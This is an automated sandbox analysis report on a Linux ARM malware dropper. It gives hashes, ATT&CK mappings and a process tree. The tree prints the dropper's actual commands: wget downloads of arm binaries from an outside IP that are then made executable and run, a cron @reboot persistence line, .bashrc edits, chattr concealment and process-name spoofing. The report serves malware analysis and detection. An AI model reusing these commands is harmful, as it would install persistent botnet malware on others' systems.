af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad

Analysis

max time kernel
148s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
16/07/2026, 03:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad
Size 1KB
Sample260716-ejg4psfz81
SHA256 af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad
MD5 93f34bb6bc18bf11fe1a5137c545e39a
SHA1 f6060b8b2df84b7d6474269829cd21862b27368c
SHA512 96e6555e5cd330c1bc4f6bf591b9b6922cc20393437d7169b1ad562d5327bebde7cae32e5b67b903381c29f38256d8686b3d2d70ad0afac72f1ea2b7ba700806
TLSH
T1F421E14F0B1586B14B6E98ABD79A82D79B0701430009CE15B7DC9A8ABF3A158F0E93C7
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
721	chmod
779	chmod
783	chmod
787	chmod

Deletes itself 1 IoCs

pid	Process
722	arm

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/arm	722	af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad
/root/.systemd-private	741	nohup
/root/.bash_64	747	nohup
/tmp/arm5	780	af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad
/tmp/arm6	784	af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad
/tmp/arm7	788	af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.uP1hDe	crontab

Creates/modifies environment variables 1 TTPs 2 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

T1574.007

description	ioc	Process
File opened for modification	/root/.bashrc	arm
File opened for modification	/root/.bash_profile	arm

Enumerates running processes
Discovers information about currently running processes on the system

Modifies Bash startup script 2 TTPs 2 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/root/.bashrc	arm
File opened for modification	/root/.bash_profile	arm

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	sshd	742	arm
Changes the process name, possibly in an attempt to hide itself	nginx	744	arm
Changes the process name, possibly in an attempt to hide itself	inetd	745	arm

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/2/cmdline	arm
File opened for reading	/proc/19/cmdline	arm
File opened for reading	/proc/28/cmdline	arm
File opened for reading	/proc/41/cmdline	arm
File opened for reading	/proc/42/cmdline	arm
File opened for reading	/proc/6/cmdline	arm
File opened for reading	/proc/139/cmdline	arm
File opened for reading	/proc/272/cmdline	arm
File opened for reading	/proc/614/cmdline	arm
File opened for reading	/proc/648/cmdline	arm
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/4/cmdline	arm
File opened for reading	/proc/5/cmdline	arm
File opened for reading	/proc/15/cmdline	arm
File opened for reading	/proc/284/cmdline	arm
File opened for reading	/proc/594/cmdline	arm
File opened for reading	/proc/646/cmdline	arm
File opened for reading	/proc/741/cmdline	arm
File opened for reading	/proc/3/cmdline	arm
File opened for reading	/proc/20/cmdline	arm
File opened for reading	/proc/26/cmdline	arm
File opened for reading	/proc/593/cmdline	arm
File opened for reading	/proc/745/cmdline	arm
File opened for reading	/proc/29/cmdline	arm
File opened for reading	/proc/148/cmdline	arm
File opened for reading	/proc/636/cmdline	arm
File opened for reading	/proc/22/cmdline	arm
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/7/cmdline	arm
File opened for reading	/proc/11/cmdline	arm
File opened for reading	/proc/584/cmdline	arm
File opened for reading	/proc/647/cmdline	arm
File opened for reading	/proc/8/cmdline	arm
File opened for reading	/proc/303/cmdline	arm
File opened for reading	/proc/312/cmdline	arm
File opened for reading	/proc/570/cmdline	arm
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/16/cmdline	arm
File opened for reading	/proc/23/cmdline	arm
File opened for reading	/proc/43/cmdline	arm
File opened for reading	/proc/173/cmdline	arm
File opened for reading	/proc/296/cmdline	arm
File opened for reading	/proc/24/cmdline	arm
File opened for reading	/proc/25/cmdline	arm
File opened for reading	/proc/286/cmdline	arm
File opened for reading	/proc/642/cmdline	arm
File opened for reading	/proc/645/cmdline	arm
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/9/cmdline	arm
File opened for reading	/proc/10/cmdline	arm
File opened for reading	/proc/14/cmdline	arm
File opened for reading	/proc/27/cmdline	arm
File opened for reading	/proc/160/cmdline	arm
File opened for reading	/proc/324/cmdline	arm
File opened for reading	/proc/12/cmdline	arm
File opened for reading	/proc/109/cmdline	arm
File opened for reading	/proc/322/cmdline	arm
File opened for reading	/proc/743/cmdline	arm
File opened for reading	/proc/18/cmdline	arm
File opened for reading	/proc/79/cmdline	arm
File opened for reading	/proc/111/cmdline	arm
File opened for reading	/proc/112/cmdline	arm
File opened for reading	/proc/162/cmdline	arm
File opened for reading	/proc/582/cmdline	arm

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/arm7	wget

/tmp/af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad
/tmp/af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad
1⤵
- Executes dropped EXE
PID:648
- /bin/uname
  uname -m
  2⤵
  PID:653
- /usr/bin/basename
  basename http://103.79.185.121/arm
  2⤵
  PID:659
- /usr/bin/wget
  wget -q http://103.79.185.121/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:664
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /tmp/arm
  ./arm
  2⤵
  - Deletes itself
  - Creates/modifies environment variables
  - Modifies Bash startup script
  - Changes its process name
  - Reads runtime system information
  PID:722
- - /bin/sh
    sh -c -- "set +m 2>/dev/null"
    3⤵
    PID:724
- - /bin/sh
    sh -c -- "unset jobcontrol 2>/dev/null"
    3⤵
    PID:725
- - /bin/sh
    sh -c -- "chattr +i /root/.bash_64 2>/dev/null"
    3⤵
    PID:726
  - - /usr/bin/chattr
      chattr +i /root/.bash_64
      4⤵
      PID:727
- - /bin/sh
    sh -c -- "sed -i '/bash_64/d' /root/.bashrc 2>/dev/null"
    3⤵
    PID:728
  - - /bin/sed
      sed -i /bash_64/d /root/.bashrc
      4⤵
      PID:730
- - /bin/sh
    sh -c -- "sed -i '/pulse/d' /root/.bashrc 2>/dev/null"
    3⤵
    PID:731
  - - /bin/sed
      sed -i /pulse/d /root/.bashrc
      4⤵
      Reads runtime system information
      PID:732
- - /bin/sh
    sh -c -- "sed -i '/disown/d' /root/.bashrc 2>/dev/null"
    3⤵
    PID:733
  - - /bin/sed
      sed -i /disown/d /root/.bashrc
      4⤵
      Reads runtime system information
      PID:734
- - /bin/sh
    sh -c -- "(crontab -l 2>/dev/null | grep -v '/root/.systemd-private'; echo \"@reboot nohup /root/.systemd-private >/dev/null 2>&1 &\") | crontab -"
    3⤵
    PID:735
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:737
  - - /bin/grep
      grep -v /root/.systemd-private
      4⤵
      PID:739
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:738
- - /bin/sh
    sh -c -- "nohup /root/.systemd-private >/dev/null 2>&1 &"
    3⤵
    PID:740
- /bin/rm
  rm -f arm
  2⤵
  PID:743
- /usr/bin/basename
  basename http://103.79.185.121/arm5
  2⤵
  PID:746
- /usr/bin/wget
  wget -q http://103.79.185.121/arm5 -O arm5
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/arm5
  ./arm5
  2⤵
  PID:780
- /usr/bin/basename
  basename http://103.79.185.121/arm6
  2⤵
  PID:781
- /usr/bin/wget
  wget -q http://103.79.185.121/arm6 -O arm6
  2⤵
  - Writes file to tmp directory
  PID:782
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/arm6
  ./arm6
  2⤵
  PID:784
- /usr/bin/basename
  basename http://103.79.185.121/arm7
  2⤵
  PID:785
- /usr/bin/wget
  wget -q http://103.79.185.121/arm7 -O arm7
  2⤵
  - Writes file to tmp directory
  PID:786
- /bin/chmod
  chmod +x arm7
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/arm7
  ./arm7
  2⤵
  PID:788
- /bin/rm
  rm -f /tmp/af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad
  2⤵
  PID:789

/usr/bin/nohup
nohup /root/.systemd-private
1⤵
- Executes dropped EXE
PID:741

/root/.systemd-private
/root/.systemd-private
1⤵
PID:741

/usr/bin/nohup
nohup /root/.bash_64
1⤵
- Executes dropped EXE
PID:747

/root/.bash_64
/root/.bash_64
1⤵
PID:747

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.bash_logout

Path /root/.bash_logout
Size 19B
SHA256 deddc34cf712157cd887b6044f137e778431570fbabe892fedeb67314b1fa69c
MD5 a3920623c12732e2394bc1c0004acde5
SHA1 f7a162a039da3576bf447aa01656880ed7b74fb6
SHA512 156f39c886ef2ed7bd76713ae56eafa8d222eac0fc0c482196a4bee12efbb2b60a31451926b64581c7af68981e2092d4f9bb1e03503f8a4fabb20a4a3ec675a1
MD5 SHA1 SHA512

Submit Download

.bash_profile

Path /root/.bash_profile
Size 45B
SHA256 8b8e8b0619529d92dce796b51caa270d7cd491dc76428719dda9ac67e7040e26
MD5 6b32cf4e068701d2e52e91e5394d460f
SHA1 2af775395ebb1a4e03616061e6f60a7b4357281c
SHA512 06873ec5280a18b236a0b1c7f714b84a3e70bc840b712652f273cdbb87983a00731b8afc19f0c75d0bdcddc604908284aa966037913d5c1a62e82cfea76bc3bf
MD5 SHA1 SHA512

Submit Download

.bashrc

Path /root/.bashrc
Size 723B
SHA256 3e3f386165827945ac09091d911580b173b2075ea1453bceff19ea0a7dca478d
MD5 f01eacfb7045738895c2bc4807a40362
SHA1 55ef0a5929da39ca8e4184b5b705138d53050c40
SHA512 a003a84c741d2aaac1ea8f8013e37e2606fcd5f88bcb90867243dfbc6b2fa77ddb299079230f4daaa9e8ed206eaf93e765328254285e87bf6e931ddc943e1cf2
TLSH
T1F301805DF7F10668F15524B1E85513108E95051F0136BD5952D52500DB4450D4234D30
MD5 SHA1 SHA512 TLSH

Submit Download

.systemd-private

Path /root/.systemd-private
Size 56B
SHA256 8e95f444926abcd0ed09458519f9561a10eea24eb8d914d27cb56f5e76fba705
MD5 83fe6a3fbc24a79ce0f22036397d211b
SHA1 54715abf5357a26abdb9214b72b7d2b73e53f26e
SHA512 0207472053e4cd4fb13936ba8089d172085de9d9804a11b779e9a7e2fe0cfa0a60e9eba9b4deda72c0bef4b0e79e6a1bb1959d70a5f3b42258ebbc5064cf3303
TLSH
T1EE902222B2B00C30300CA38C2808203000C300A2280AB0B000C088028E0030A3280BA2
MD5 SHA1 SHA512 TLSH

Submit Download

sedXA24OW

Path /root/sedXA24OW
Size 570B
SHA256 41f1685d04031d88891dea1cd02d5154f8aa841119001a72017b0e7158159e23
MD5 e12f5739f81b08c470f20890304bf53e
SHA1 b737c392222ddac2271cc8d0d8cc0308d08cf458
SHA512 069ebef108230cbc0e49800a5abb7a6b60c8ccc4d3063aacfe4e089e6d0c1190ef87f2b67250717ec47654e7517269766acf607dc958c991524a761ba29c19dd
TLSH
T1A3F0E165E3B65B1FA54E2782B24E921AD111A02A2F1C7FAC640C914C23461CE80EC99C
MD5 SHA1 SHA512 TLSH

Submit Download

bot.pid

Path /run/bot.pid
Size 4B
SHA256 7a3ba55f0b77f41a54f54f769cbe405a75d0390b5080ddf6ab8d884ee4e10404
MD5 f136b51b96a2a2ccefab9b82f1182d91
SHA1 1386370790c4d522b7e880286ae69e8a780d7c56
SHA512 27ad6b042e1c668f1133f6a5f5c54bd5477b7fa946ed363067e078a6bba1a39cb0c94277bd9a189af5a068eccf8cb5dcf431c32b62ac080da08f9ac0efd1bd21
MD5 SHA1 SHA512

Submit Download

arm

Path /tmp/arm
Size 623KB
SHA256 fc6e85c81f2979da0fbfde20e92d4e096ef657398d2ab04a28e873cccb06db63
MD5 e23dee29d6b8a6eb3d74fd9f6eb9b2b1
SHA1 c9b8ef25a396bcb896bed50009734424ca6c5775
SHA512 a99e56cccc0e17a0ea0a92019a730b88fd0c4bad5bf5a1502ee79d534efefda159f72d544fdd032872dee65bcc71362f6db9dabf0763a82ff46f150d5970061c
SSDEEP 12288:nZcQMQlQNt2gKrYX04DTuY7w2bhsFgpISGuOkDJO1ZS8eHe6u:nZBMQlQNlKYuYUqyTKO1ZSTHe6
TLSH
T100D43A56F8808F62C6D1257AF65F82AC331747B9C3DBB20699249B343FD796B0B36640
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm5

Path /tmp/arm5
Size 623KB
SHA256 3183322f5d0c4abd219b1ef3992caf78e4eee4aa814f111d282a08495830a4dd
MD5 a1f0e07ba3df3a92d2682f8e19f78344
SHA1 141525eab49c56dfa987561ebb0d3765fca680d5
SHA512 69fd2c217c51268d9f90091c586c2248f5f04ffa2ff961cb951bbe1bb1b0449b3ebd4e0323d2fadeaae1e008141eea70a2aa7e847ed107871fa40771046c2bb3
SSDEEP 12288:1cQMQlQNt2gKrYX04DTuY7w2bhsFgpISGu1kfJO1ZS8eHe6u:1BMQlQNlKYuYUqyTrO1ZSTHe6
TLSH
T17FD43A56F8808F62C6D1257AF65F82AC331747B9C3DBB20699249B343FD796B0B36640
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm6

Path /tmp/arm6
Size 623KB
SHA256 bdf891511702284916c8479c60d36a4fe0f81c6f8f1fc6382800b316fc6d76ac
MD5 4c2e303da0b541b16f7924aae62d2b5e
SHA1 fa8010603682e7174c5ae5923aded655b60adc49
SHA512 fd897a792fd2771719d194e2a112b16fc0e157951358b3a996cf7083c560418c9570ed2915b4f622da383ce97fe9b4d2498e15c4fcf821c398939d1d20ad1039
SSDEEP 12288:FEAunQNkwppXXxmvz/UpO6in2WRzDgpISGlziO1ZS8eHe6u:eDnQNkwDXigdi2oZIO1ZSTHe6
TLSH
T1F5D43B56F8808F62C5D1257AF65F82AC331747B9C3DBB20695289B343FD792B4B36680
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm7

Path /tmp/arm7
Size 607KB
SHA256 885eedb41d5008249366afbedb69879cb793555ed0594b9bfa7f61f0cecfb0c6
MD5 c80dbf256ba0af4f2928016ff955e2d9
SHA1 26ab59324fb1544b9111740b93e84e5ce64a71e4
SHA512 312b4d0d26aa4b1ce52b9cee8eaad9db214cdca76eea3c39815b69b3a3c4baf91ca5acea990981857d75d7d212ac4cf34763fbb45502bee7964e2e9cb88a8ce9
SSDEEP 12288:dYyO7QNVUgJT5bHZmcGpORHyVFRgpISG/Y9iFo1ZS8eHe6u:dYN7QNVUs5HXRSfXw9Uo1ZSTHe6
TLSH
T1CAD44A56F880CF62C5D1157AF65F82A8731347B9C3DBB20699189B383BD782B4F3A641
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.uP1hDe

Path /var/spool/cron/crontabs/tmp.uP1hDe
Size 230B
SHA256 b30ac27ad1f91044e5754873780336181f660934e01df132a9b1ba2c1566eeff
MD5 ef1f345a5c3fc7a9a8df39bf49f7e66c
SHA1 c855732c8bb5ddf82d6f5b8198b27e387dd9f85b
SHA512 b1283afa5244cc255facc9d653722c28717a7483f45fa3e040514a8227fa662a861369943f90858a079edf61c854e23630f925fc190024f94d40da6b24fe54bf
TLSH
T18AD0231CBF302C303D052784F40E0315DCC3987E800EBD10F2CC1010830224D87B4971
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads